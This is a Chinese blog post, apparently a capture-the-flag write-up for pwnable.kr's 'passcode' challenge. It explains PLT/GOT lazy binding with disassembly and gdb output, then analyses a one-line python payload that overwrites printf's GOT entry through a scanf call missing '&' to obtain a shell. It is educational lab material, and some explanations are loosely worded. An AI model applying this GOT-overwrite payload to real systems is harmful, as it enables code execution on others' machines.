本人写这篇博客完全是为了方便以后查证,若能帮上各位的忙,在线非常宽慰.
关于pwnable.kr上的passcode,这博客写的很到位,大家不妨去看一下:passcode.我在这里只是补充几个问题,再将整个过程简单化而已.
1.plt表和got表的关系
plt表—->got表.当程序中有需要库函数时,该plt和got表上场了.我们来举一个简单的例子(test.c):
#include <stdio.h>
void showmsg(char *szMsg)
{
printf("%s\n", szMsg);
}
int main(int argc, char **argv)
{
char szMsg[] = "Hello, world!";
showmsg(szMsg);
return 0;
}
对于这个简单的程序,流程如下:
main—>showmsg—>printf.
printf函数是一个库函数,需要引入库调用,但在编译阶段是不清楚printf函数的地址(地址随机化).
void showmsg(char *szMsg)
{
8048434: 55 push %ebp
8048435: 89 e5 mov %esp,%ebp
8048437: 83 ec 18 sub $0x18,%esp
printf("%s\n", szMsg);
804843a: 8b 45 08 mov 0x8(%ebp),%eax
804843d: 89 04 24 mov %eax,(%esp)
8048440: e8 0b ff ff ff call 8048350 <puts@plt>
}
8048445: c9 leave
8048446: c3 ret
从这个函数的汇编代码上可以看出,需要跳到0x8048350,这就是puts的plt,然后:
08048350 <puts@plt>:
8048350: ff 25 04 a0 04 08 jmp *0x804a004
8048356: 68 08 00 00 00 push $0x8
804835b: e9 d0 ff ff ff jmp 8048330 <_init+0x38>
第一条指令跳转到0x0804a004地址处的值去执行,实际上0x0804a004就是一个对应的GOT(Global Offset Table)条目的位置了.我们使用:readelf -r test
,得出:
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT __stack_chk_fail
0804a004 R_386_JUMP_SLOT puts
0804a008 R_386_JUMP_SLOT __gmon_start__
0804a00c R_386_JUMP_SLOT __libc_start_main
也得出了puts的Got的地址
(gdb) x 0x804a004
0x804a004 <puts@got.plt>: 0x08048356
看到Got对应的函数地址,但printf经过第一次的调用之后,这个值会发生是改变.
(gdb) x 0x0804a004
0x804a004 <puts@got.plt>: 0x001913b0
原因是:PLT其实是延迟绑定技术,也就是等到调用函数的时候才进行函数地址的定位.第一次调用,plt—->got—->运算.将运算结果返回给got,这个运算结果是puts函数真正的代码所在处,下回再调用printf函数的时候,直接就是plt—->got—->代码.省掉了中间的运算过程,所以说,第一次稍微慢一点,后边就快了.
第二个问题:
答案的分析:
python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode
这里主要分析'\x00\xa0\x04\x08'+'\n'+'134514147\n'
.
0x0804a000是print函数的got表中的地址,在welcome中输入96个a+’\x00\xa0\x04\x08’.结果呢,login中的scanf函数在输入的时候,直接变量的地址就是:0x0804a000,输入的134514147(0x080485e3),将0x0804a000原有的地址给覆写了.这就是got表复写.在执行printf函数的时候,实际上执行的是system函数.
简单的说:
plt—->got—->真地址(printf函数的代码),经过我们覆写之后,
plt—->got—->假地址(system函数的代码).
这样我们就获得了shell.
第三个问题:为什么输入的内容刚好覆写printf函数的got表呢?
原因是:scanf(“%d”,a);无&符号.听别人讲:如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址.这个栈应该是变量a的栈.就是说将a的值,16进制化作为地址,将你输入的内容写入这个地址中.如果这个地址不存在或不可写,将会报错.
从这个地方,我们可以看到无&的,取得地址是0x00007fff.